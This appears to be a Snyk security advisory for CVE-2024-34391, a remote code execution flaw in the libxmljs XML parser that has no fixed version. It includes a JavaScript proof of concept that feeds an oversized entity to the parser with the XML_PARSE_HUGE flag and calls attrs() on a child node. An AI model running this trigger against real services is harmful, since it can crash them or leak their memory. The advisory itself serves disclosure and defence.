Remote Code Execution (RCE) Affecting libxmljs package, versions *
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (9th
percentile)
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Test your applications- Snyk ID SNYK-JS-LIBXMLJS-6091649
- published 3 May 2024
- disclosed 27 Nov 2023
- credit Uriya Yavnieli
Introduced: 27 Nov 2023
CVE-2024-34391 Open this link in a new tabHow to fix?
There is no fixed version for libxmljs.
Overview
libxmljs is a libxml bindings for v8 javascript engine
Affected versions of this package are vulnerable to Remote Code Execution (RCE) when parsing a specially crafted XML while invoking a function on the result of attrs() that was called on a parsed node. An attacker can cause denial of service, data leak, infinite loop, and execute arbitrary code on 32-bit systems with the XML_PARSE_HUGE flag enabled by submitting a malicious XML document.
PoC
const libxmljs = require('libxmljs');
var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer "` +
'A'.repeat(0x1234) +
`">
]>
<from>&writer;</from>
`;
t = libxmljs.parseXml(d, {flags: [libxmljs.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()